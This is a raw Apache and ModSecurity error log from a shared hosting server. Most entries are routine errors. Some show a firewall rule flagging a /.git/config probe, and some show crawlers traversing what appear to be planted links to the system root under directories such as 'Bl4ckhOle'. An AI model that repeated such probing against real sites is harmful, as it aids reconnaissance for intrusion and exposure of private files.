[Fri Jul 17 10:06:44.192817 2026] [security2:error] [pid 2068143:tid 2068143] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/robots.txt"] [unique_id "almxXFmuKRtYY-VAGIVWwwAAAAk"]
[Fri Jul 17 10:06:44.192826 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/robots.txt"] [unique_id "almxXCRF0UOO1RzB5_87XwAAAA4"]
[Fri Jul 17 10:06:44.224686 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:44.625797 2026] [core:error] [pid 2065296:tid 2065296] (13)Permission denied: [client 47.128.48.138:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty5/subsystem/tty60/subsystem/ttyS1/closing_wait
[Fri Jul 17 10:06:44.715811 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:44.784770 2026] [security2:error] [pid 1993572:tid 1993572] [client 175.157.154.105:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/favicon.ico"] [unique_id "almxXIl9vhFBGA6D8l-GlgAAAAw"], referer: https://www.epid.gov.lk/storage/post/pdfs/en_640392739b0b8_dengue_leaflet_english.pdf
[Fri Jul 17 10:06:44.784829 2026] [security2:error] [pid 1993572:tid 1993572] [client 175.157.154.105:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/favicon.ico"] [unique_id "almxXIl9vhFBGA6D8l-GlgAAAAw"], referer: https://www.epid.gov.lk/storage/post/pdfs/en_640392739b0b8_dengue_leaflet_english.pdf
[Fri Jul 17 10:06:44.937305 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:44.951597 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:44.998231 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:44.999086 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:45.158003 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:45.201198 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:45.270185 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:45.318208 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:45.556964 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:46.893445 2026] [core:error] [pid 2068143:tid 2068143] (13)Permission denied: [client 47.82.50.5:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:0b/subsystem/uevent
[Fri Jul 17 10:06:46.914532 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 47.82.53.250:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/189:1/driver/1-1/1-1:1.0/driver/module/uevent
[Fri Jul 17 10:06:47.074082 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:47.087461 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:47.329404 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:47.392808 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:47.619034 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:47.750594 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 47.82.14.63:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:65/subsystem/ttyS1/device/driver/uevent
[Fri Jul 17 10:06:48.014202 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:48.924536 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:49.193523 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:49.484294 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:49.496124 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:49.516773 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:49.529497 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:49.859360 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:49.859536 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:50.075296 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:50.082623 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:50.458554 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:50.544274 2026] [security2:error] [pid 2063883:tid 2063883] [client 3.80.153.227:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.osbm.kamechotech.com"] [uri "/.git/config"] [unique_id "almxYlWVGD3EZW05fn30lAAAAAI"]
[Fri Jul 17 10:06:50.544434 2026] [security2:error] [pid 2063883:tid 2063883] [client 3.80.153.227:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.osbm.kamechotech.com"] [uri "/.git/config"] [unique_id "almxYlWVGD3EZW05fn30lAAAAAI"]
[Fri Jul 17 10:06:50.544780 2026] [security2:error] [pid 2063883:tid 2063883] [client 3.80.153.227:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.osbm.kamechotech.com"] [uri "/.git/config"] [unique_id "almxYlWVGD3EZW05fn30lAAAAAI"]
[Fri Jul 17 10:06:50.545320 2026] [security2:error] [pid 2063883:tid 2063883] [client 3.80.153.227:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.osbm.kamechotech.com"] [uri "/.git/config"] [unique_id "almxYlWVGD3EZW05fn30lAAAAAI"]
[Fri Jul 17 10:06:53.450952 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:34054] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:06:57.563613 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:34194] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:06:59.163456 2026] [security2:error] [pid 2065293:tid 2065293] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2013/vol_40_no_06_english.pdf"] [unique_id "almxa3qWRBnLzLzgwXgz6gAAAAQ"]
[Fri Jul 17 10:06:59.163818 2026] [security2:error] [pid 2065293:tid 2065293] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2013/vol_40_no_06_english.pdf"] [unique_id "almxa3qWRBnLzLzgwXgz6gAAAAQ"]
[Fri Jul 17 10:06:59.164094 2026] [security2:error] [pid 2065293:tid 2065293] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2013/vol_40_no_06_english.pdf"] [unique_id "almxa3qWRBnLzLzgwXgz6gAAAAQ"]
[Fri Jul 17 10:06:59.235036 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:34248] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:06:59.737376 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:34254] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:06:59.737674 2026] [security2:error] [pid 2063883:tid 2063883] [client 57.141.18.32:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory70/node0/memory56/subsystem/devices/memory92/valid_zones"] [unique_id "almxa1WVGD3EZW05fn30mQAAAAI"]
[Fri Jul 17 10:06:59.737770 2026] [security2:error] [pid 2063883:tid 2063883] [client 57.141.18.32:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory70/node0/memory56/subsystem/devices/memory92/valid_zones"] [unique_id "almxa1WVGD3EZW05fn30mQAAAAI"]
[Fri Jul 17 10:07:00.160475 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:34282] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:02.378808 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:50752] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:04.570528 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:50878] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:05.529436 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:50916] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:06.936162 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:07.005073 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:07.175031 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:07.189939 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:07.213815 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:51014] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:07.254616 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:07.356555 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:07.455348 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:07.556377 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:07.657376 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:07.759902 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:08.844072 2026] [core:error] [pid 2068138:tid 2068138] (13)Permission denied: [client 57.141.18.6:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory35/subsystem/devices/memory73/subsystem/devices/memory116/node0/memory119/subsystem/drivers_probe
[Fri Jul 17 10:07:10.381738 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:51132] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:10.627975 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 47.128.48.169:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/ksm_mm_slot/poison
[Fri Jul 17 10:07:11.000946 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.001021 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.001072 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.001108 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.001129 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.001148 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.001179 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.001198 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.001221 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.001239 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.349527 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.402588 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.404713 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.447569 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.503786 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.667019 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.718736 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.820188 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:11.909259 2026] [core:error] [pid 2063442:tid 2063442] (13)Permission denied: [client 57.141.18.74:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory74/node0/memory17/node0/memory32/node0/memory137/subsystem/uevent
[Fri Jul 17 10:07:12.985951 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:51082] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:17.875624 2026] [security2:error] [pid 2064879:tid 2064879] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almxfWTem5UnhuySh-0oDgAAAAA"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:07:17.875691 2026] [security2:error] [pid 2064879:tid 2064879] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almxfWTem5UnhuySh-0oDgAAAAA"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:07:18.186167 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:51324] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:18.941169 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:51378] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:20.633329 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:51454] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:20.939158 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:21.109384 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:21.276269 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:21.437520 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:21.505680 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:51718] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:21.620979 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:21.783243 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:21.946861 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:22.108681 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:22.131407 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 57.141.18.21:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory122/node0/memory72/node0/memory36/subsystem/drivers_probe
[Fri Jul 17 10:07:22.274205 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:22.435190 2026] [proxy_fcgi:error] [pid 2064879:tid 2064879] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:22.607533 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:22.769683 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:22.934337 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:23.096087 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:23.274974 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:23.443746 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:23.616077 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:23.787577 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:23.953558 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:24.115008 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:24.280717 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:24.442739 2026] [proxy_fcgi:error] [pid 2064879:tid 2064879] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:24.606011 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:24.755388 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:51856] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:24.793355 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:24.958263 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:25.120969 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:25.291391 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:25.459662 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:25.626157 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:25.789329 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:25.955575 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:26.118614 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:26.330084 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:51926] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:26.373497 2026] [proxy_fcgi:error] [pid 2064879:tid 2064879] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:26.699750 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:26.864404 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:27.025734 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:27.190063 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:27.360106 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:27.363728 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:52014] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:27.523493 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
